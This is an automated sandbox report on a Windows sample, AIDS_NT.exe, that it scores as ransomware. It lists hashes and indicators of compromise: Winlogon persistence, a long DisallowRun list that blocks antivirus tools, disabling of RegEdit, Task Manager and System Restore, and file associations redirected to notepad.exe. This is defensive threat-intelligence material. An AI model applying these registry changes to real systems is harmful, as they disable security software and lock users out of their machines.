61ee3bd82bed03dd0f3fb9bc9b76b7da972a90d3c12c8e4d5e967440a2f04c00

Analysis

user interaction
yes
max time kernel
32s
max time network
35s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
15/08/2026, 02:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
AIDS_NT.exe
Size 924KB
Sample260815-dcmj6sysct
SHA256 61ee3bd82bed03dd0f3fb9bc9b76b7da972a90d3c12c8e4d5e967440a2f04c00
MD5 14eefb80a0813abbf8710387a5383f08
SHA1 d3fa355cc1d184be20b441143fa34e4ae1a4bdb2
SHA512 a3174a80c47a02b6deed6eb390a999fa486f7a4cda7ab614d93589f614a60ba500aa8f42346e80cc53b7e1a5af0f0e515e4b014d23e5af90fabeae504f43f130
SSDEEP 12288:/GqN/XdctpVtkkKICgvDkBLab3Xldfr4oSsFsA0cO4KfRErkYzWaMSDncS:pNcBtkUHf9ace3sJTcS
TLSH
T11D15BE06BE619933C02277310921F73997B92FD0BA21C386F6FC2E9BBB16A465D351D1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence ransomware upx

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Windows\\AIDS_NT_Instructions.txt, C:\\Windows\\aids.bat, C:\\Windows\\42.exe, C:\\Windows\\1.bat"	reg.exe

Detected Nirsoft tools 1 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral1/memory/5672-56-0x0000000000400000-0x000000000041C000-memory.dmp	Nirsoft

NirSoft NirCmd 1 IoCs

NirCmd is a lightweight Windows command-line tool for automating system tasks

resource	yara_rule
behavioral1/memory/5672-56-0x0000000000400000-0x000000000041C000-memory.dmp	NirCmd

Blocks application from running via registry modification 64 IoCs

Adds application to list of disallowed applications.

defense_evasion

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\6 = "SbieSvc.exe "	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\31 = "McInstruTrack.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\36 = "mfefire.exe "	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\102 = "AvastBrowserCrashHandler64.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\7 = "SearchUI.exe "	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\89 = "AvastNM.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\109 = "msseces.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\117 = "MicrosoftEdgeSH.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\46 = "RecoveryDrive.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\58 = "mbuns.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\42 = "avpui.exe "	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\45 = "msinfo32.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\56 = "mbamtray.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\2 = "msmpeng.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\35 = "MfeAVSvc.exe "	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\73 = "BDSubWiz.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\51 = "regedt32.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\80 = "WinRAR.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\17 = "CCleaner86.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\29 = "mcapexe.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\38 = "MMSSHOST.exe "	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\60 = "MBAMService.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\61 = "assistant.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\82 = "BdVpnApp.exe "	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\14 = "VirtualBox.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\39 = "ModuleCoreService.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\83 = "bdservicehost.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\88 = "egui.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\59 = "MbamPt.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\5 = "spideragent.exe "	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\43 = "kav.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\49 = "uTorrent.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\27 = "SecurityHealthSystray.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\62 = "malwarebytes_assistant.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\53 = "Defender.exe "	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\76 = "setuppackage.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\10 = "AvastSvc.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\72 = "DiscoverySrv.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\16 = "CCleaner32.exe"	reg.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion
Disables use of System Restore points 1 TTPs
defense_evasion

Inhibit System Recovery
T1490

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5832	attrib.exe

Executes dropped EXE 1 IoCs

pid	Process
5672	nircmd.exe

Modifies system executable filetype association 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1546.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "notepad.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell\open\command	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell\open\command\ = "notepad.exe"	reg.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Control Panel\Desktop\Wallpaper = "C:\\Windows\\1.jpg"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Control Panel\Desktop\Wallpaper = "C:\\Windows\\1.jpg"	reg.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x001700000002b7b3-30.dat	upx
behavioral1/files/0x001700000002b7b6-39.dat	upx
behavioral1/memory/5672-54-0x0000000000400000-0x000000000041C000-memory.dmp	upx
behavioral1/memory/5672-56-0x0000000000400000-0x000000000041C000-memory.dmp	upx

Drops file in Windows directory 12 IoCs

description	ioc	Process
File created	C:\Windows\1.bat	cmd.exe
File opened for modification	C:\Windows\1.bat	cmd.exe
File created	C:\Windows\42.exe	cmd.exe
File created	C:\Windows\1.jpg	cmd.exe
File opened for modification	C:\Windows\1.jpg	cmd.exe
File created	C:\Windows\AIDS_NT_Instructions.txt	cmd.exe
File created	C:\Windows\nircmd.exe	cmd.exe
File opened for modification	C:\Windows\aids.bat	cmd.exe
File opened for modification	C:\Windows\42.exe	cmd.exe
File opened for modification	C:\Windows\AIDS_NT_Instructions.txt	cmd.exe
File opened for modification	C:\Windows\nircmd.exe	cmd.exe
File created	C:\Windows\aids.bat	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5088	cmd.exe
5472	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "191"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268"	LogonUI.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mp4file	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\pdffile\shell	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\docfile\shell	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\isofile\shell\open\command\ = "notepad.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\gzfile\shell\open\command\ = "notepad.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\cfgfile\shell\open\command\ = "notepad.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\pngfile\shell\open\command\ = "notepad.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\oggfile\shell\open\command	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\logfile\shell\open\command\ = "notepad.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\jpgfile\shell\open	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\curfile	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmfile\shell\open\command\ = "notepad.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\zipfile\shell\open\command\ = "notepad.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\pptfile\shell	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\dllfile\shell\open	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\tiffile	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\pngfile\shell\open\command	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\docfile\shell\open\command\ = "notepad.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\isofile\shell\open\command	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mp3file	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\jpgfile\shell\open\command\ = "notepad.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\tmpfile\shell\open\command\ = "notepad.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\binfile\shell\open\command	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\cabfile\shell	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\slnfile\shell\open\command	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\cplfile	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\ctfile\shell\open\command\ = "notepad.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\jarfile\shell\open\command\ = "notepad.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mp3file\shell	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\icofile\shell	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mkvfile\shell\open\command	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\tmpfile\shell\open\command	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\tmpfile\shell\open	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\oggfile	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\jpegfile	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\svgfile\shell\open\command\ = "notepad.exe"	reg.exe
